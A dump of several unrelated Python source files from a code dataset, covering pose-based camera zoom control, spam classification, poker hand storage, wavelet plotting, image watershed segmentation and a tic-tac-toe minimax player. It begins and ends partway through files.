path = 'test'\n if classification == 'right_hand' :\n top = 0\n left = 270\n right = 50\n bottom = 200\n msg = 'zoom_right'\n elif classification == 'left_hand' :\n top = 0\n left = 50\n right = 270\n bottom = 200\n msg = 'zoom_left'\n elif classification == 'raise_hand' :\n top = 0\n left = 0\n right = 0\n bottom = 0\n msg = 'tracking'\n elif classification == 'spread_arms' :\n top = 0\n left = 0\n right = 0\n bottom = 0\n msg = 'zoom_out'\n else :\n msg = 'not_zoom'\n\n if msg != 'not_zoom' :\n formData = {\n \"top\" : str(top),\n \"left\" : str(left),\n \"right\" : str(right),\n \"bottom\" : str(bottom),\n \"ip\" : ip,\n \"port\" : port,\n \"path\" : path\n }\n res = requests.post(url,json = formData)\n return msg\n\ndef process_zoom(classification) :\n print('classification = ' + classification[0])\n res_zoom = req_Zoom(classification[0])\n return res_zoom\n### API ###\n@app.route('/',methods = ['POST'])\ndef active() :\n if request.json['mac_address'] not in active_stream :\n data = {}\n ip_address = request.remote_addr\n data['mac_address'] = request.json['mac_address']\n data['ip'] = ip_address\n data['room'] = request.json['room']\n data['status'] = 'active'\n data['stream_url'] = request.json['url']\n active_stream[str(request.json['mac_address'])] = data\n print(active_stream)\n with open('connection.txt','w') as outfile :\n json.dump(active_stream,outfile)\n else :\n active_stream[request.json['mac_address']]['status'] = 'active'\n \n return jsonify(active_stream)\n\n@app.route('/', methods = ['GET'])\ndef setup_stream() :\n # req = request.json\n # data_form = {\"ip\" : req[ip] , }\n # active_stream[req['room']] = 'active'\n check = check_Service()\n print(check)\n if check :\n global stream\n stream = True\n purge('./','frame')\n return jsonify(\"Ready\")\n else :\n return jsonify(\"Service Not Ready\")\n\n@app.route('/start',methods = ['POST'])\ndef start_stream() :\n # ip = '192.168.0.177'\n # room = '811'\n mac_address = str(request.json['mac_address'])\n ip = request.remote_addr\n info = active_stream[mac_address]\n room = info['room']\n url = info['stream_url']\n classification_result = []\n try :\n time.sleep(5)\n # Connection with RTSP from Raspberry PI\n s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((ip,8554))\n print('connect!')\n \n # Use Camera from Computer\n # vid = cv2.VideoCapture(0)\n \n # Use Camera from Raspberry PI\n vid = cv2.VideoCapture(url)\n # time.sleep(4)\n count = 0\n all_out = []\n # while 1 :\n # ret,frame = vid.read()\n # cv2.imwrite(\"frame%d.jpg\" % count,frame)\n # count += 1\n while active_stream[mac_address]['status'] == 'streaming':\n try :\n ret, frame = vid.read()\n if ret == True:\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n # cv2.imshow('frame',gray)\n if count%4 == 0:\n cv2.imwrite(\"./uploads/frame_\"+str(mac_address)+\"_%d.jpg\" % count,frame)\n img = {\"image\" : open(\"./uploads/frame_\"+str(mac_address)+'_'+str(count)+\".jpg\",'rb')}\n # img = {\"image\" : cv2.read(frame)}\n pose = req_Pose(img)\n if pose['msg'] == 'nobody' :\n print('Nobody in frame')\n classification_result = []\n all_out = []\n time.sleep(0.1)\n elif pose['msg'] == 'detected' :\n # print(pose['pose']['nose_score'])\n point = pose['pose']\n all_out.append(point)\n if len(all_out) == 3 :\n # print(all_out)\n res_class = req_Class(all_out)\n\n all_out = []\n classification_result.append(res_class['prediction'])\n formData = {}\n formData['points'] = point\n formData['classification_result'] = res_class['prediction']\n print(res_class['prediction'])\n req_control = requests.post('http://192.168.0.177:5002/control',json = formData )\n # print(req_control.text)\n # print(res_class['prediction'])\n elif len(all_out) > 3 :\n all_out = []\n classification_result = []\n # print('classification list : ' + classification_result)\n if len(classification_result) >= 1 :\n # req_control = requests.post('http://192.168.0.177:5001/control')\n # print(zoom_result)\n classification_result = []\n # purge('./uploads/','frame_'+mac_address)\n count += 1\n else:\n break\n except Exception as error:\n status = check_status()\n res_set_error = requests.get('http://192.168.0.177:3005/error')\n print(error)\n # purge('./uploads/','frame_'+mac_address)\n vid.release()\n # cv2.destroyAllWindows()\n return jsonify('Connection End.')\n except :\n purge('./','frame')\n print('fail')\n res_set_error = requests.get('http://192.168.0.177:3005/error')\n return jsonify('fail')\n\n@app.route('/startstream',methods = ['POST'])\ndef start() :\n mac_address = str(request.json['mac_address'])\n print(active_stream)\n if mac_address in active_stream :\n active_stream[mac_address]['status'] = 'streaming'\n if check_Service() :\n purge('./uploads/','frame_'+mac_address)\n return jsonify({'msg':'Ready for Stream'})\n else :\n return jsonify({'msg':'Error'})\n else :\n return 'fail'\n# @app.after_request\n# def after_stream_request(response):\n \n# return response\n@app.route('/endstream',methods = ['POST'])\ndef end_stream() :\n mac_address = str(request.json['mac_address'])\n # global stream\n # stream = False\n ip = request.remote_addr\n active_stream[mac_address]['status'] = 'active'\n return jsonify('End.')\n\n@app.route('/classification',methods = ['POST'])\ndef classification():\n if request.files :\n file = request.files['image']\n file.save('./uploads/'+file.filename)\n img = {\"image\" : open('./uploads/'+file.filename,'rb')}\n pose = req_Pose(img)\n if pose['msg'] == 'nobody' :\n print('Nobody in frame')\n return jsonify({\"msg\" : \"Nobody in Picture\"})\n elif pose['msg'] == 'detected' :\n # print(pose['pose']['nose_score'])\n if pose['pose']['nose_score'] != 0 :\n out = []\n for i in accList :\n out.append(pose['pose'][i])\n for i in accList :\n out.append(pose['pose'][i + '_score'])\n out.append(pose['pose']['W_EBleft'])\n out.append(pose['pose']['W_EBright'])\n all_out = []\n for i in range(5):\n all_out.append(out)\n result = req_Class(all_out)\n if result['result'] != 'fail' :\n print(result['prediction'])\n return jsonify(result)\n else :\n print('fail classification')\n return jsonify(result)\n else :\n print('stand_back')\n return jsonify({\"prediction\" : \"stand_back\"})\n else :\n return jsonify({'msg' : 'No such files'})\n\n@app.route('/status',methods = ['GET'])\ndef check_status():\n for i in active_stream :\n url = 'http://' + str(active_stream[i]['ip']) + ':3003/'\n try :\n res = requests.get(url).json()\n # print(res)\n if res['msg'] == 'success' :\n if active_stream[i]['status'] != 'streaming' :\n active_stream[i]['status'] = 'active'\n else :\n active_stream[i]['status'] = 'offline'\n except :\n active_stream[i]['status'] = 'offline'\n with open('connection.txt','w') as outfile :\n json.dump(active_stream,outfile)\n return jsonify(active_stream)\n\nif(__name__ == '__main__'):\n app.run( host = host, port = port, debug = True, threaded = True)","sub_path":"Stream/Main/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"487502636","text":"import time\nfrom marius import Task, TimeLine\n\n\ndef func(num):\n print('task-{0}'.format(num))\n\n\nif __name__ == '__main__':\n tl = TimeLine()\n now = time.time()\n tl.add(Task(iter([now + i for i in [2, 3, 5]]), func, 3))\n while tl.has_tasks():\n tl.wait_next()\n tl.run()\n else:\n print(\"all job run over\")\n","sub_path":"test/function/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"304093002","text":"from flask import Flask, render_template, request, redirect\nimport pickle\n\napp = Flask(__name__)\n\ndef load():\n with open('ham_spam.pkl', 'rb') as file:\n vectorizer, clf = pickle.load(file)\n return vectorizer, clf\n\ndef prediction_label(label):\n\tif label == 1:\n\t\treturn 'Ham'\n\telse:\n\t\treturn 'Spam'\n\n\n@app.route('/', methods = ['GET', 'POST'])\ndef home():\n\treturn render_template('home.html')\n\n@app.route('/predict', methods = ['GET', 'POST'])\ndef prediction():\n\tif request.method == 'POST':\n\t\ttext = request.form['message']\n\t\tdata = [text]\n\t\tvectorizer, classifier = load()\n\t\tvec = vectorizer.transform(data)\n\t\tpredic = classifier.predict(vec)\n\t\tpred_label = prediction_label(predic[0])\n\t\treturn render_template('prediction.html', predicted_value = pred_label)\n\telse:\n\t\treturn render_template('predict.html')\n\n\nif __name__ == '__main__':\n\tapp.run(debug = True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"414244677","text":"# from create_db import *\n\nimport datetime\nimport json\n# from sqlalchemy.orm import sessionmaker\n# from sqlalchemy import create_engine\nimport os\nimport logging\nimport tqdm\nimport sqlite3\n\ndef date_hook(json_dict):\n for (key, value) in json_dict.items():\n try:\n json_dict[key] = datetime.datetime.strptime(value, \"%Y-%m-%dT%H:%M:%S\")\n except:\n pass\n return json_dict\n\n\ndef make_position(hand):\n \"\"\"Convert seat position to utg--bb values\"\"\"\n preflop = hand['preflop']\n b = hand['button']\n sb = hand['sb']\n bb = hand['bb']\n\n # Add stack information\n dict_stack = {}\n for p in hand['players']:\n dict_stack[p['name']] = p['stack']\n\n all_players = []\n for i, val in enumerate(preflop):\n player = val[0]\n if player == b:\n all_players.append(dict(player=player,\n position='button',\n stack=dict_stack[player]))\n elif player == sb:\n all_players.append(dict(player=player,\n position='sb',\n stack=dict_stack[player]))\n elif player == bb:\n all_players.append(dict(player=player,\n position='bb',\n stack=dict_stack[player]))\n break\n else:\n all_players.append(dict(player=player,\n position='utg+{}'.format(i),\n stack=dict_stack[player]))\n return all_players\n\n\ndef make_action(position, hand):\n \"\"\" Return the pot after each action\"\"\"\n\n # pot = hand['pot']\n sb, bb = hand['limit'].split(\"/\")\n cumul_pot = 0\n cumul_pot += (float(sb) + float(bb))\n\n # Cumul bet\n dict_bet = {}\n for p in position:\n # Each player initialized at 0\n dict_bet[p['player']] = 0\n # SB and BB are initialized\n if p['position'] == 'sb':\n dict_bet[p['player']] += float(sb)\n elif p['position'] == 'bb':\n dict_bet[p['player']] += float(bb)\n\n streets = ['preflop', 'flop', 'turn', 'river']\n all_streets = []\n for street in streets:\n if hand.get(street):\n for val in hand[street]:\n value = val[2]\n if value:\n cumul_pot += value\n dict_bet[val[0]] += value\n all_streets.append(dict(player=val[0],\n period=street,\n action=val[1],\n value=val[2],\n cumul_bet=dict_bet[val[0]],\n pot=cumul_pot\n )\n )\n # assert all_streets[-1]['pot'] == pot, 'Pot computation problem'\n return all_streets\n\n\ndef is_called(actions):\n handiter = iter(actions)\n for a in handiter:\n if a[1] == 'raises':\n for n in handiter:\n if next(handiter)[1] == 'calls':\n return True\n else:\n return False\n\n\ndef store_game(cursor, game_id, hand):\n\n row = (game_id, hand['date'], hand['limit'], hand['game'], hand['max_player'])\n cursor.execute(\"INSERT INTO game (game_id, datetime, blinds, game_type, game_player) VALUES (?, ?, ?, ?, ?)\", row)\n\n\ndef store_positions(cursor, game_id, pos):\n\n for val in pos:\n row = (game_id, val['player'], val['position'], val['stack'])\n cursor.execute(\"INSERT INTO position (game_id, player_id, position, stack) VALUES (?, ?, ?, ?)\", row)\n\n # session.commit()\n\ndef store_cards(cursor, game_id, hand):\n\n for val in hand['summary']:\n row = (game_id, val[0], val[2])\n cursor.execute(\"INSERT INTO card (game_id, player_id, cards) VALUES (?, ?, ?)\", row)\n\n\ndef store_actions(cursor, game_id, actions):\n\n for val in actions:\n row = (game_id, val['player'], val['period'], val['action'], val['value'], val['pot'])\n cursor.execute(\"INSERT INTO action (game_id, player_id, period, action, amount, pot) VALUES (?, ?, ?, ?, ?, ?)\", row)\n\n\n\ndef store_board(cursor, game_id, hand):\n\n if hand['board'] is None:\n board = None\n else:\n board = \" \".join(hand['board'])\n row = (game_id, board)\n cursor.execute(\"INSERT INTO board (game_id, board) VALUES (?, ?)\", row)\n\n\ndef init_sqlite3(dbname):\n conn = sqlite3.connect(DB_PATH)\n c = conn.cursor()\n c.execute(\"DROP TABLE IF EXISTS game\")\n c.execute(\"DROP TABLE IF EXISTS position\")\n c.execute(\"DROP TABLE IF EXISTS card\")\n c.execute(\"DROP TABLE IF EXISTS action\")\n c.execute(\"DROP TABLE IF EXISTS board\")\n\n c.execute(\"\"\"CREATE TABLE game (\n g_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,\n game_id INTEGER NOT NULL,\n datetime DATETIME NOT NULL,\n blinds VARCHAR NOT NULL,\n game_type VARCHAR NOT NULL,\n game_player VARCHAR\n )\"\"\")\n\n c.execute(\"\"\"CREATE TABLE position (\n position_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,\n game_id INTEGER,\n player_id VARCHAR NOT NULL,\n position VARCHAR NOT NULL,\n stack FLOAT NOT NULL,\n FOREIGN KEY(game_id) REFERENCES game (game_id)\n )\"\"\")\n\n c.execute(\"\"\"CREATE TABLE card (\n card_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,\n game_id INTEGER,\n player_id VARCHAR NOT NULL,\n cards VARCHAR,\n FOREIGN KEY(game_id) REFERENCES game (game_id)\n )\"\"\")\n\n c.execute(\"\"\"CREATE TABLE action (\n action_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,\n game_id INTEGER,\n player_id VARCHAR NOT NULL,\n period VARCHAR NOT NULL,\n action VARCHAR NOT NULL,\n amount FLOAT,\n pot FLOAT NOT NULL,\n FOREIGN KEY(game_id) REFERENCES game (game_id)\n )\"\"\")\n\n c.execute(\"\"\"CREATE TABLE board (\n board_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,\n game_id INTEGER,\n board VARCHAR,\n FOREIGN KEY(game_id) REFERENCES game (game_id)\n )\"\"\")\n\n conn.commit()\n\n return conn\n\n\ndef create_index(cursor):\n cursor.execute(\"CREATE INDEX ix_action_gameid ON action (game_id)\")\n cursor.execute(\"CREATE INDEX ix_action_playerid ON action (player_id)\")\n cursor.execute(\"CREATE INDEX ix_action_period ON action (period)\")\n cursor.execute(\"CREATE INDEX ix_action_action ON action (action)\")\n\n cursor.execute(\"CREATE INDEX ix_board_gameid ON board (game_id)\")\n\n cursor.execute(\"CREATE INDEX ix_card_gameid ON card (game_id)\")\n cursor.execute(\"CREATE INDEX ix_card_playerid ON card (player_id)\")\n cursor.execute(\"CREATE INDEX ix_card_card ON card (cards)\")\n\n cursor.execute(\"CREATE INDEX ix_game_gameid ON game (game_id)\")\n cursor.execute(\"CREATE INDEX ix_game_date ON game (datetime)\")\n cursor.execute(\"CREATE INDEX ix_game_blinds ON game (blinds)\")\n cursor.execute(\"CREATE INDEX ix_game_type ON game (game_type)\")\n cursor.execute(\"CREATE INDEX ix_game_max ON game (game_player)\")\n\n cursor.execute(\"CREATE INDEX ix_pos_gameid2 ON position (game_id)\")\n cursor.execute(\"CREATE INDEX ix_pos_playerid ON position (player_id)\")\n cursor.execute(\"CREATE INDEX ix_pos_pos ON position (position)\")\n\n conn.commit()\n\nPATH = '/home/elmaster/Codes/pokerbot/'\nDB_PATH = os.path.join(PATH, 'db', 'data.db')\nDATA_PATH = os.path.join(PATH, 'output')\nLOG_PATH = os.path.join(PATH, 'log')\n\n# conn = init_sqlite3(DB_PATH)\nconn = sqlite3.connect(DB_PATH)\nc = conn.cursor()\ncreate_index(c)\n\n# Main function\nlogging.basicConfig(filename=os.path.join(LOG_PATH, 'store.log'),\n format='%(asctime)s %(message)s',\n datefmt='%m/%d/%Y %I:%M:%S %p',\n level=logging.DEBUG)\n\nall_files = os.listdir(DATA_PATH)\npbar = tqdm.tqdm(total=len(all_files))\nlogging.info('--- Start storing session ---')\n\nfor f, file in enumerate(all_files):\n pbar.update(1)\n # print(\"starting file: {}\".format(file))\n\n try:\n data = json.load(open(os.path.join(DATA_PATH, file)), object_hook=date_hook)\n except:\n continue\n\n handid = 0\n for num, hand in data.items():\n\n handid += 1\n try:\n # print('hand number #{}'.format(num))\n game_id = int('{}{}'.format(f + 1, handid))\n positions = make_position(hand)\n actions = make_action(positions, hand)\n\n store_game(c, game_id, hand)\n store_positions(c, game_id, positions)\n store_cards(c, game_id, hand)\n store_actions(c, game_id, actions)\n store_board(c, game_id, hand)\n # session.commit()\n except:\n # print(\"error\")\n logging.warning('ERROR hand: {0}'.format(hand))\n conn.commit()\n\nlogging.info('---- End storage session ------')\npbar.close()\n","sub_path":"store_hands.py","file_name":"store_hands.py","file_ext":"py","file_size_in_byte":8875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"32085293","text":"import sys\nimport matplotlib\nmatplotlib.use('Agg')\nimport gzip\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport re\nsys.path.append('/srv/scratch/oursu/code/software/python/pyGPs-1.3.2/pyGPs/GraphExtensions/')\nimport nodeKernels\nfrom scipy.stats import spearmanr, pearsonr\nfrom scipy.stats.mstats import mquantiles\nimport pywt\nimport statsmodels.api as sm\nimport matplotlib.gridspec as gridspec\nfrom sklearn import mixture\nfrom scipy.interpolate import UnivariateSpline\nimport pdb\nfrom sklearn import metrics\nfrom matplotlib.backends.backend_pdf import PdfPages\nfrom optparse import OptionParser\nimport matplotlib.patches as mpatches\nimport wavelets\n \n#============== PLOTTING ================\n#========================================\n\ndef plot_correlation_of_wavelet_coefficients(levels,corrs,ylabel=''):\n x_length=len(levels)\n plt.plot(levels,corrs,'o-')\n plt.xlim(0,x_length-1)\n plt.ylim(0,1)\n plt.xlabel('Level')\n plt.ylabel(ylabel)\n plt.show()\n \ndef plot_wavelet_coeffs(coeffs,vmin_orig,vmax_orig,pp):\n levels=len(coeffs.keys())\n fig, (plots) = plt.subplots(nrows=1, ncols=levels)\n fig.set_size_inches(15, 2)\n for l in range(levels):\n if vmin_orig==0 and vmax_orig==0:\n vmin=coeffs[l].min()\n vmax=coeffs[l].max()\n vmax=mquantiles(coeffs[l],0.99)\n else:\n vmin=vmin_orig\n vmax=vmax_orig\n plots[l].matshow(coeffs[l],vmin=vmin,vmax=vmax)\n pp.savefig()\n return pp\n\ndef plot_all_wavelet_coeffs(m_a,m_d,is_2D,out,vmin=0,vmax=0):\n pp = PdfPages(out+'.pdf')\n if not is_2D:\n plot_all_wavelet_coeffs_1D(m_a,m_d,vmin,vmax,pp)\n if is_2D:\n plot_all_wavelet_coeffs_2D(m_a,m_d,vmin,vmax,pp)\n \n \ndef plot_all_wavelet_coeffs_2D(m_a,m_d,vmin,vmax,pp):\n pp=plot_wavelet_coeffs(m_a,vmin,vmax,pp)\n pp=plot_wavelet_coeffs(m_d['h'],vmin,vmax,pp)\n pp=plot_wavelet_coeffs(m_d['d'],vmin,vmax,pp)\n pp.close()\n \ndef plot_all_wavelet_coeffs_1D(m_a,m_d,vmin,vmax,pp):\n for k in m_a.keys():\n m_a[k]=np.reshape(m_a[k],(1,len(m_a[k])))\n for k in m_d.keys():\n m_d[k]=np.reshape(m_d[k],(1,len(m_d[k])))\n pp=plot_wavelet_coeffs(m_a,vmin,vmax,pp)\n pp=plot_wavelet_coeffs(m_d,vmin,vmax,pp)\n pp.close()\n \ndef plot_all_wavelet_coeff_correlations_2D(corr_data,is_2D,correlation_method,out):\n pp = PdfPages(out+'.pdf')\n \n colors={}\n colors['true']='orange'\n colors['pseudoreps']='red'\n colors['no_crosslink']='black'\n legend_info=[mpatches.Patch(color='orange', label='True data'),\n mpatches.Patch(color='red', label='Pseudoreplicates'),\n mpatches.Patch(color='black', label='No crosslink control')]\n \n if not is_2D:\n num_plots=2\n if is_2D:\n num_plots=3\n \n gs = gridspec.GridSpec(1,num_plots+1)\n gs.update(wspace=0.5)\n fig = plt.figure()\n fig.set_size_inches(18, 5)\n ax_a = fig.add_subplot(gs[0])\n \n if not is_2D:\n ax_d=fig.add_subplot(gs[1])\n if is_2D:\n ax_dh=fig.add_subplot(gs[1])\n ax_dd=fig.add_subplot(gs[2])\n \n for dataset in corr_data.keys():\n ax_a.plot(corr_data[dataset]['a']['levels'],corr_data[dataset]['a']['corr'],'-o',color=colors[dataset])\n if not is_2D:\n ax_d.plot(corr_data[dataset]['d']['levels'],corr_data[dataset]['d']['corr'],'-o',color=colors[dataset])\n if is_2D:\n ax_dh.plot(corr_data[dataset]['d']['h']['levels'],corr_data[dataset]['d']['h']['corr'],'-o',color=colors[dataset])\n ax_dd.plot(corr_data[dataset]['d']['d']['levels'],corr_data[dataset]['d']['d']['corr'],'-o',color=colors[dataset])\n \n ax_a.set_ylabel(correlation_method+' correlation', size =15)\n ax_a.set_xlabel('Level', size =15)\n ax_a.set_title(\"Approximation coefficients\")\n ax_a.set_ylim(0,1)\n ax_a.set_xlim(0,np.max(corr_data[dataset]['a']['levels']))\n #ax_a.legend(handles=legend_info)\n \n if not is_2D:\n ax_d.set_ylabel(correlation_method+' correlation', size =15)\n ax_d.set_xlabel('Level', size =15)\n ax_d.set_title(\"Detail coefficients\")\n ax_d.set_ylim(0,1)\n ax_d.set_xlim(0,np.max(corr_data[dataset]['d']['levels']))\n #ax_d.legend(handles=legend_info)\n \n if is_2D:\n ax_dh.set_ylabel(correlation_method+' correlation', size =15)\n ax_dh.set_xlabel('Level', size =15)\n ax_dh.set_title(\"Horizontal coefficients\")\n ax_dh.set_ylim(0,1)\n ax_dh.set_xlim(0,np.max(corr_data[dataset]['d']['h']['levels']))\n #ax_dh.legend(handles=legend_info)\n \n ax_dd.set_ylabel(correlation_method+' correlation', size =15)\n ax_dd.set_xlabel('Level', size =15)\n ax_dd.set_title(\"Diagonal coefficients\")\n ax_dd.set_ylim(0,1)\n ax_dd.set_xlim(0,np.max(corr_data[dataset]['d']['h']['levels']))\n #ax_dd.legend(handles=legend_info)\n \n if not is_2D:\n ax_d.legend(handles=legend_info,bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\n if is_2D:\n ax_dd.legend(handles=legend_info,bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.) \n pp.savefig()\n pp.close()\n \n \n","sub_path":"Reproducibility/old/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":5202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"184226396","text":"\n\n#calss header\nclass _DELAY():\n\tdef __init__(self,): \n\t\tself.name = \"DELAY\"\n\t\tself.definitions = [u'to make something happen at a later time than originally planned or expected: ', u'to cause someone or something to be slow or late: ', u'to not act quickly or immediately: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_delay.py","file_name":"_delay.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"240137680","text":"import numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\n\nimg = cv2.imread('img/test22.jpg',0)\nimg1=cv2.imread('img/test22.jpg')\n\nret, thresh = cv2.threshold(img,0,255,cv2.THRESH_BINARY_INV+cv2.THRESH_OTSU)\n\n\nkernel = np.ones((3,3),np.uint8)\nopening = cv2.morphologyEx(thresh,cv2.MORPH_OPEN,kernel, iterations = 2)\n\nsure_bg = cv2.dilate(opening,kernel,iterations=3)\n\ndist_transform = cv2.distanceTransform(opening,cv2.DIST_L2,5)\nret, sure_fg = cv2.threshold(dist_transform,0.7*dist_transform.max(),255,0)\n \nsure_fg = np.uint8(sure_fg)\nunknown = cv2.subtract(sure_bg,sure_fg)\n\nret,markers = cv2.connectedComponents(sure_fg)\n\nmarkers = markers+1\n \nmarkers[unknown==255] = 0\n\nmarkers = cv2.watershed(img1,markers)\nimg1[markers == -1] = [255,0,0]\n\n#markers.show()\ncv2.imwrite('img/water11.jpg', img1)","sub_path":"water.py","file_name":"water.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"74761478","text":"\"\"\"\nTic Tac Toe Player\n\"\"\"\nimport copy\nimport math\nimport itertools \n\n\nX = \"X\"\nO = \"O\"\nEMPTY = None\n\n\ndef initial_state():\n \"\"\"\n Returns starting state of the board.\n \"\"\"\n return [[EMPTY, EMPTY, EMPTY],\n [EMPTY, EMPTY, EMPTY],\n [EMPTY, EMPTY, EMPTY]]\n\n\ndef player(board):\n \"\"\"\n Returns player who has the next turn on a board.\n \"\"\"\n X_count = count(board)[\"X_count\"]\n O_count = count(board)[\"O_count\"]\n EMPTY_count = count(board)[\"EMPTY_count\"]\n\n if EMPTY_count != 0:\n if X_count == O_count:\n return X\n elif X_count == O_count + 1:\n return O\n return X\n\n\ndef actions(board):\n \"\"\"\n Returns set of all possible actions (i, j) available on the board.\n \"\"\"\n empty_cells = set()\n for i in range(len(board)):\n for j in range(len(board[i])):\n if board[i][j] == EMPTY:\n empty_cells.add((i, j))\n return empty_cells\n\n\ndef result(board, action):\n \"\"\"\n Returns the board that results from making move (i, j) on the board.\n \"\"\"\n # print(action, type(action)) \n # print(action[0], action[1])\n i = action[0]\n j = action[1]\n\n if board[i][j] != EMPTY:\n raise Exception(f\"({i}, {j}) is an Invalid Action\")\n \n new_board = copy.deepcopy(board)\n\n if new_board[i][j] == EMPTY:\n next_player = player(new_board)\n new_board[i][j] = next_player\n \n return new_board\n\n\ndef winner(board):\n \"\"\"\n Returns the winner of the game, if there is one.\n \"\"\"\n for row in board:\n X_winner = all(cell == X for cell in row)\n O_winner = all(cell == O for cell in row)\n\n if X_winner is True and O_winner is False:\n return X\n elif X_winner is False and O_winner is True:\n return O\n \n columns = []\n \n for j in range(len(board[0])):\n columns.append([])\n for i in range(len(board)):\n columns[j].append(board[i][j])\n\n for row in columns:\n X_winner = all(cell == X for cell in row)\n O_winner = all(cell == O for cell in row)\n\n if X_winner is True and O_winner is False:\n return X\n elif X_winner is False and O_winner is True:\n return O\n \n diagnol_1 = []\n diagnol_2 = []\n\n for i in range(len(board)):\n for j in range(len(board[i])):\n if i == j:\n diagnol_1.append(board[i][j])\n if i + j == len(board) - 1:\n diagnol_2.append(board[i][j])\n \n for diagnol in [diagnol_1, diagnol_2]:\n X_winner = all(cell == X for cell in diagnol)\n O_winner = all(cell == O for cell in diagnol)\n\n if X_winner is True and O_winner is False:\n return X\n elif X_winner is False and O_winner is True:\n return O\n \n return None\n\n\ndef terminal(board):\n \"\"\"\n Returns True if game is over, False otherwise.\n \"\"\"\n EMPTY_count = count(board)[\"EMPTY_count\"]\n\n if EMPTY_count == 0:\n return True\n elif EMPTY_count != 0:\n if winner(board) is None:\n return False\n elif winner(board) is not None:\n return True\n return False\n\n\ndef utility(board):\n \"\"\"\n Returns 1 if X has won the game, -1 if O has won, 0 otherwise.\n \"\"\"\n if terminal(board) is True:\n if winner(board) == X:\n return 1\n elif winner(board) == O:\n return -1\n elif winner(board) is None:\n return 0\n return 0\n\n\ndef minimax(board):\n \"\"\"\n Returns the optimal action for the current player on the board.\n \"\"\"\n if terminal(board) is True:\n return None\n\n alpha = float('-inf')\n beta = float('inf')\n\n if player(board) == X:\n list_of_actions = actions(board)\n values = []\n\n for action in list_of_actions:\n min_value = minvalue(result(board, action), alpha, beta)\n values.append(min_value)\n\n highest_minvalue = max(values)\n for (action, value) in zip(list_of_actions, values):\n if value == highest_minvalue:\n # print(f\"(minimax fn, player = X) Action is: {action}\")\n return action\n \n elif player(board) == O:\n \n list_of_actions = actions(board)\n values = []\n \n for action in list_of_actions:\n max_value = maxvalue(result(board, action), alpha, beta)\n values.append(max_value)\n\n lowest_maxvalue = min(values)\n # print(list_of_actions)\n # print(values)\n for (action, value) in zip(list_of_actions, values):\n # print(action, value)\n if value == lowest_maxvalue:\n # print(f\"(minimax fn, player = O) Action is: {action}\")\n return action\n return None\n\n\ndef maxvalue(board, alpha, beta):\n if terminal(board) is True:\n return utility(board)\n\n v = float('-inf')\n # v = -100000\n \n for action in actions(board):\n v = max(v, minvalue(result(board, action), alpha, beta))\n if v >= beta:\n return v\n if v > alpha:\n alpha = v\n \n # print(\"(maxvalue) v value is \" + str(v))\n return v\n\n\ndef minvalue(board, alpha, beta):\n if terminal(board) is True:\n return utility(board)\n \n v = float('inf')\n # v = 100000\n\n for action in actions(board):\n v = min(v, maxvalue(result(board, action), alpha, beta))\n if v <= alpha:\n return v\n if v < beta:\n beta = v\n \n # print(\"(minvalue) v value is \" + str(v))\n return v\n\n \ndef count(board):\n X_count = 0\n O_count = 0\n EMPTY_count = 0\n for row in board:\n for cell in row:\n if cell == X:\n X_count += 1\n elif cell == O:\n O_count += 1\n elif cell == EMPTY:\n EMPTY_count += 1\n count_dict = {\n \"X_count\": X_count,\n \"O_count\": O_count,\n \"EMPTY_count\": EMPTY_count\n }\n return count_dict","sub_path":"tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":6031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"165537934","text":"# --------------------------------------------------------------------------------------------------------------------\n# \n# 2018 William M Mortl\n# \n# --------------------------------------------------------------------------------------------------------------------\nfrom datetime import datetime\nfrom flask import (Flask, jsonify, request, Response)\nfrom foodtruck_service_logger import FoodtruckServiceLogger\nfrom geo_query_request_processor import GeoQueryRequestProcessor as GQRP\nimport json\nimport os\nfrom ping_request_processor import PingRequestProcessor as PRP\nimport sys\nimport threading\n\n# load config and logger\n_config = json.loads(open('config.json').read())\n_myLogger = FoodtruckServiceLogger(_config)\n\n# instantiate request processors\n_prp = PRP(_config, _myLogger)\n_gqrp = GQRP(_config, _myLogger)\n\n# flask variables and basic handlers\napp = Flask(__name__)\nlock = threading.Lock()\n\n@app.errorhandler(500)\ndef error_handling(error):\n errorStr = str(error)\n _myLogger.logError(\"error_handlingException\", errorStr, \"error_handling\")\n res = jsonify({ \"Message:\": \"an error occurred\", \"Exception\": errorStr})\n res.status_code = 500\n return res\n\n#\n# Function handlers - ADD NEW HANDLERS HERE REPRODUCING THIS PATTERN\n#\n@app.route(\"/Ping\", methods=[\"GET\", \"POST\"])\ndef handlePing():\n return _prp.processIncomingRequest({})\n\n@app.route(\"/GeoQuery\", 